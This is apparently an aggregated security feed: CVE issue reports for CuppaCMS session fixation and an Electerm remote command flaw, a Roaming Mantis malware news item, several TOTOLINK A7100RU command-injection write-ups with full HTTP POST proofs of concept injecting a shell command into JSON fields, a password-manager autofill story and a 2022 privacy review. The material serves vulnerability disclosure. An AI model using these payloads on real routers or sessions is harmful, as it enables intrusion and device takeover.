Session fixation vulnerability in CuppaCMS thru commit 4c9b742b23b924cf4c1f943f48b278e06a17e297 on November 12, 2019 allows attackers to gain access to arbitrary user sessions.

**Cuppa CMS is prone to a session fixation attack.**  
Description: Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID. The attack consists of obtaining a valid session ID (e.g. by connecting to the application), inducing a user to authenticate himself with that session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim’s browser use it.

**Steps to Reproduce:**

1.  Access the cuppa cms login page using the http://127.0.0.1:880/cuppa\_cms/administrator/
2.  Enter the wrong username and password to generate dummy session tokens
3.  Copy the non-authenticated session tokens and insert it into another browser(chrome) in the victim machine.
4.  Enter the valid credential to log in to the application.
5.  Once you login to the application go back to the attacker browser and refresh the URL.
6.  An attacker is able to access the victim session successfully.

**Session Values Before Login: Attacker Machine**  

**Session Values Before Login: Victim Machine**  

**Session token once fix the victim Machine**  

**Session Values after Login: Victim Machine**  

**Session Values for the attacker - Just refresh the browser**  

**Mitigation:**  
The application should always first invalidate the existing session ID before authenticating a user, and if the authentication is successful, provide another session.

CVE-2021-29368: Session Fixation in CuppaCMS · Issue #8 · CuppaCMS/CuppaCMS

An issue was discovered in Electerm 1.3.22, allows attackers to execute arbitrary code via unverified request to electerms service.

**Electerm version:**

All versions

**Operating system(linux, macos, or windows7/8/10?):**

All operating system(macos,windows7/8/10,linux)

**Detailed Description**

Electerm did not conduct permission checks, which led to remote command execution vulnerabilities.  
After testing, it affected Electerm on all operating systems.

**Steps to Reproduce**

1.Open Electerm and keep it running.  
2.Use a browser such as Chrome / Firefox / Safari to visit the malicious site I constructed: http://orz.weinull.com/orz-001.html  
3.Malicious site executes command to open calculator.

**Suggestions**

Generate a random token for service invocation at startup, and at the same time, ensure that the token has enough complexity to be guessed

**Electerm is a very good tool, hope to develop better**

CVE-2020-23256: Electron has serious security vulnerability · Issue #1686 · electerm/electerm

Threat actors associated with the Roaming Mantis attack campaign have been observed delivering an updated variant of their patent mobile malware known as Wroba to infiltrate Wi-Fi routers and undertake Domain Name System (DNS) hijacking.
Kaspersky, which carried out an analysis of the malicious artifact, said the feature is designed to target specific Wi-Fi routers located in South Korea.

Network Security / Mobile Hacking

Threat actors associated with the Roaming Mantis attack campaign have been observed delivering an updated variant of their patent mobile malware known as **Wroba** to infiltrate Wi-Fi routers and undertake Domain Name System (DNS) hijacking.

Kaspersky, which carried out an analysis of the malicious artifact, said the feature is designed to target specific Wi-Fi routers located in South Korea.

Roaming Mantis, also known as Shaoye, is a long-running financially motivated operation that targets Android smartphone users with malware capable of stealing bank account credentials as well as harvesting other kinds of sensitive information.

Although primarily targeting the Asian region since 2018, the hacking crew was detected expanding its victim range to include France and Germany for the first time in early 2022 by camouflaging the malware as the Google Chrome web browser application.

The attacks leverage smishing messages as the initial intrusion vector of choice to deliver a booby-trapped URL that either offers a malicious APK or redirects the victim to phishing pages based on the operating system installed in the mobile devices.

Alternatively, some compromises have also leveraged Wi-Fi routers as a means to take unsuspecting users to a fake landing page by using a technique called DNS hijacking, in which DNS queries are manipulated in order to redirect targets to bogus sites.

Regardless of the method used, the intrusions pave the way for the deployment of a malware dubbed Wroba (aka MoqHao and XLoader) that's capable of carrying out a slew of nefarious activities.

The latest update to Wroba, per the Russian cybersecurity company, involves a DNS changer function that's engineered to detect certain routers based on their model numbers and poison their DNS settings.

"The new DNS changer functionality can manage all device communications using the compromised Wi-Fi router, such as redirecting to malicious hosts and disabling updates of security products," Kaspersky researcher Suguru Ishimaru said.

The underlying idea is to cause devices connected to the breached Wi-Fi router to be redirected to web pages controlled by the threat actor for further exploitation. Given that some of these pages deliver the Wroba malware, the attack chain effectively creates a steady stream of "bots" that can be weaponized to break into healthy Wi-Fi routers.

It's notable that the DNS changer program is exclusively used in South Korea. However, the Wroba malware in itself has been spotted targeting victims in Austria, France, Germany, India, Japan, Malaysia, Taiwan, Turkey, and the U.S. via smishing.

"Users with infected Android devices that connect to free or public Wi-Fi networks may spread the malware to other devices on the network if the Wi-Fi network they are connected to is vulnerable," the researcher said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Roaming Mantis Spreading Mobile Malware That Hijacks Wi-Fi Routers' DNS Settings

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the dayvalid parameter in the setting/delStaticDhcpRules function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取dayvalid参数中的内容传递给v9，之后带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"dayvalid":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48122: ttt/17 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the servername parameter in the setting/delStaticDhcpRules function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取servername参数下的内容传递给v7，之后将v7带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"servername":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48123: ttt/15 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the FileName parameter in the setting/setOpenVpnCertGenerationCfg function.

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"FileName":"1$(ls>/tmp/123;)"}

CVE-2022-48124: ttt/14 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the password parameter in the setting/setOpenVpnCertGenerationCfg function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取password参数下的内容传递给v26，之后将v26传递给v28，最后将v28带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"password":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48125: ttt/13 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the username parameter in the setting/setOpenVpnCertGenerationCfg function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取username参数中的内容传递给v51，之后将v51带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"username":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48126: ttt/12 at main · Am1ngl/ttt

Dashlane, Bitwarden, and Safari all cited by Google researchers

Dashlane, Bitwarden, and Safari all cited by Google researchers

Security shortcomings mean that multiple password managers could be tricked into auto-filling credentials on untrusted pages, security researchers at Google warn.

The team from Google went public with their findings on Tuesday (17 January), 90 days after notifying the applications – Dashlane, Bitwarden, and the built-in password manager bundled with Apple’s Safari browser – of the vulnerabilities.

Both Dashlane and Bitwarden have updated their software although Dashlane, at least, remains unconvinced that the bug represents any kind of security threat. The status of any fix for Apple’s Safari built-in password manager remains unconfirmed at the time of writing. The Daily Swig has asked Apple to comment and we’ll update this story as and when more information comes to hand.

Catch up with the latest cybersecurity research news

The security shortcomings outlined by Google mean that the vulnerable password managers auto-fill credentials into untrusted pages, without first requiring users to enter their master password.

An advisory from Google explains that the issue arises in two scenarios: where web pages have a CSP (content security policy) sandbox response header or where forms are inside a sandboxed iframe.

Auto-filling by password managers should not happen in either scenario but the affected applications all fail in this regard when encountering sandboxed content. Other password managers (including LastPass, 1Password, and Google Chrome’s password vault technology) avoid this mistake, said Google.

“Password managers should check whether content is sandboxed before auto-filling credentials. This can be done in many ways, but one way is to check self.origin of a page and refusing to fill in credentials if self.origin is ‘null’,” according to the Google advisory.

**Real world impact**

In response to a query from The Daily Swig, Bitwarden confirmed that the issue had been resolved through a recent pull request. Dashlane told The Daily Swig that it had also updated its technology even though it remains unconvinced there was a substantive problem in play.

“We’ve changed the behavior following the report (so the advisory is misleading),” Dashlane said. “We also don’t believe that it was a real issue to start with (the author doesn’t detail any real attack scenario nor answer our questions).”

Google is yet to respond to a request from The Daily Swig to respond to Dashlane’s criticisms of its research findings.

YOU MAY ALSO LIKE Google pays hacker duo $22k in bug bounties for flaws in multiple cloud projects

Popular password managers auto-filled credentials on untrusted websites

In 2022, privacy was upended for millions of people. Here are the biggest stories from last year. 



(Read more...)




The post What happened in privacy in 2022 appeared first on Malwarebytes Labs.

Annual reviews of any year’s developments in privacy rarely lend themselves to pithy wrap-ups, but 2022 was different, providing the clearest example yet for so many people—American women in particular—that their privacy was not theirs to determine, and that the often-repeated refrain that privacy doesn’t matter for those who have “nothing to hide” only holds sway until the world around those words decides: “Now you do_._”

The US Supreme Court’s decision to overturn _Roe v. Wade_ and the associated Constitutional right to choose to have an abortion redefined personal privacy, as individual states can now treat previously benign health data as possible evidence in a criminal investigation. Where perhaps millions of women previously had “nothing to hide,” now, they do.

The Supreme Court’s decision was also an event that has few modern equivalents, changing the behaviors of three, core parts of society—government, corporate, and public.

In the wake of a leaked draft of the decision, Federal legislators introduced a new, targeted data privacy bill to protect reproductive health data. Immediately following the decision, countless individuals dropped their current period-tracking apps in search for another app that would promise to better protect their data. And months after the decision, companies are still announcing changes to what types of data they will no longer store.

In looking back at 2022, it isn’t that nothing else happened in data privacy—it’s that nothing else like this has happened for a long time.

Here’s a look at what happened in privacy in 2022.

****Roe v. Wade overturned****

The privacy fallout from the US Supreme Court’s decision in _Dobbs v. Jackson Women’s Health Organization_ is both succinct and enormous: It changed what people want to keep private. 

By allowing a state-by-state approach to the legality of obtaining and providing abortion services, the US Supreme Court’s decision introduced a new uncertainty about what types of online activity—be it Google searches, Facebook posts, TikTok videos, or location histories revealing trips to an abortion clinic—could now be considered as potential evidence of a crime.

Would law enforcement, for example, be able to pull Google search requests on someone they suspected of seeking an abortion? Would text messages between friends be brought before an investigator? What about Instagram stories that included offers to pay for the travel and lodging of complete strangers seeking abortion from other states? And what about period-tracking app data? What if cops could see in a person’s data that, for a week or two, they were pregnant, and then soon after, they were not? 

In the absence of immediate best practices, individuals made their own choices. Period-tracking app users scrambled to find the most secure app online, and one period-tracking app maker promised to encrypt user data so that, even if law enforcement made a request for their data, the data would be unintelligible. (Those promises, one investigation found, were shaky.)

But it wasn’t just period-tracking apps that reconsidered data collection and storage policies.

In July, Google announced that it would automatically delete location histories that revealed physical trips to any sensitive locations, which Google defined as “medical facilities like counseling centers, domestic violence shelters, abortion clinics, fertility centers, addiction treatment facilities, weight loss clinics, \[and\] cosmetic surgery clinics.” Samsung, too, recently announced that it would delete “Women’s health data” collected through Samsung Health.

To address this corporate, piecemeal approach to user privacy, Congressmembers introduced the My Body, My Data Act, which would place new, national restrictions on how companies handle reproductive health data.

****Web wins (and one wayward rollout)****

When the developers of the privacy-forward browser Brave released their own search engine last year, they touted that, unlike other search engines, “Brave Search” would pull from an entirely separate index of the Internet, only relying on Google’s index when it could not fill in the gaps for user searches. Upon Brave Search’s launch, this “independence score,” as the company put it, was 87 percent.

One year later, that score has reportedly increased to 92 percent for all Brave Search users, and Brave Search itself has exited out of beta. But perhaps the biggest privacy draw of all for the tool is simple: It doesn’t track users or their searches.

Privacy-minded users has another choice in web browsers last year, as well, as Mozilla claimed that a new feature in Firefox made it the “most private and secure major browser available across Windows, Mac, and Linux.”

The feature, called Total Cookie Protection, promises to create “cookie jars” for every website that users visit. This will reportedly put browsing activity into separate silos so that user activity cannot be stitched together across websites, which is often done to help build in-depth profiles of who to target with ads.

But why spend so much time on cookie restrictions when, according to Google’s own words several years ago, it, too, would retire third-party tracking in its browser, Chrome?

Probably because that major rollout was delayed yet again—this time to 2024.

****A question of corporate commitment to privacy****

If you can believe it, there was a time last year when the biggest thing happening to Twitter had nothing to do with its new owner, Elon Musk.

In August, the company confirmed a data breach that affected 5.4 million users, their email addresses and phone numbers now linked to their accounts in a data dump that could be found for sale on the dark web.

In May, Twitter was also hit with a $150 million fine from the US Federal Trade Commission for violating an earlier consent order that prohibited the company from “misleading consumers about the extent to which it protects the security, privacy, and confidentiality of nonpublic consumer information, including the measures it takes to prevent unauthorized access to nonpublic information and honor the privacy choices made by consumers.”

But with so broad a description, what, exactly, did Twitter do?

It used phone numbers that were specifically requested for two-factor authentication—a security measure—for targeted advertising.

(At least the company did put its services on Tor last year, a great step for familiarizing users with a more private online experience.)

_To learn more about privacy and Tor’s security benefits to the Internet, listen to our Lock and Code podcast interview with Alec Muffet here._

But privacy blunders—and intentional evasions—have become a guarantee in Silicon Valley, and so Twitter shouldn’t receive all the spotlight.

Facebook, possibly angered by one browser’s decision to remove tracking parameters that Facebook inserted into URLs to help track users across pages, decided to encrypt their URLs so that the browser in question could no longer determine which part of the URL would need to be removed. The company is also facing a lawsuit alleging that it has built a “secret workaround” to safeguards built into the iPhone to prevent the social media giant from tracking users.         

Finally, Google settled multi-state charges that the company had allegedly misled users as to how their locations were tracked across various services, agreeing to pay a whopping $391.5 million. A separate but similar lawsuit is still active against the company.

****Legislation and legal violation****

Compared to earlier years, the legislative battle for data privacy cooled off in 2022, but that doesn’t mean it was necessarily less spirited.

In June, a draft of the US Supreme Court’s opinion in _Dobbs v. Jackson Women’s Health Organization_ was leaked, suggesting that the Court was positioned to soon overturn both _Roe v. Wade_ and _Planned Parenthood v. Casey_, previous decisions that had guaranteed a Constitutional right to choose to have an abortion. 

Before the Supreme Court could issue its final decision, legislators in Washington DC moved fast, introducing the My Body, My Data Act in both the House of Representatives and the Senate. The bill sought to place new restrictions on how companies use “personal reproductive or sexual health information,” allowing for the collection, use, retainment, and disclosure of such data only if a company was delivering a service requested by a user, or if the user gave express consent. The definition of “personal reproductive or sexual health information” in the bill is broad, including any info that could reveal someone’s attempts to “research or obtain” reproductive health service, along with any reproductive or sexual health “conditions,” including pregnancy or menstruation.

The bill has not significantly moved forward since its introduction.

Separately, last year saw the introduction of the American Data and Privacy Protection Act—the latest attempt from Congressmembers to pass a Federal, comprehensive data privacy law for the United States. Like many attempts before, the American Data and Privacy Protection Act would extend the rights to access, correct, and request deletion of the personal data that companies have already collected on them—similar to the rights granted to those living in the European Union through the General Data Protection Regulation (GDPR).

With a new Congress elected, it is unclear whether the bill will progress.

Aside from legislation that has only been introduced, one full-blown law scored its first-ever enforcement action. In California, the state’s attorney general announced a settlement with the makeup company Sephora over allegations that it violated the California Consumer Privacy Act, the state’s privacy law that was first passed in 2018.

According to the Office of the Attorney General, Sephora allegedly “failed to disclose to consumers that it was selling their personal information, … failed to process user requests to opt out of sale via user-enabled global privacy controls in violation of the CCPA, and … it did not cure these violations within the 30-day period currently allowed by the CCPA.”

Per the settlement, Sephora agreed to pay $1.2 million.

****Pushing back against stalkerware****

Rounding out a turbulent year, there was some good news in the continued fight against stalkerware.

Through a months-long investigation, the technology publication TechCrunch revealed that a network of stalkerware-type apps all shared the same security vulnerability that could allow “near-unfettered remote access” to the data of hundreds of thousands of devices that are already infected with said apps. TechCrunch worked with the Carnegie Mellon University Software Engineering Institute to both report the vulnerability and contact any party that could responsibly address the vulnerability. The investigation provided likely the strongest, global “map” of who is providing cover for these types of apps, and how they seem to skirt any consequences.

But there’s more.

Following questions that TechCrunch sent to a company called 1Byte, which operates the server infrastructure behind several of the apps under investigation, two of the apps “appeared to cease working or shut down.” 

Today, TechCrunch offers a tool that allows people to see if their devices are infected with the apps that the publication previously investigated.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

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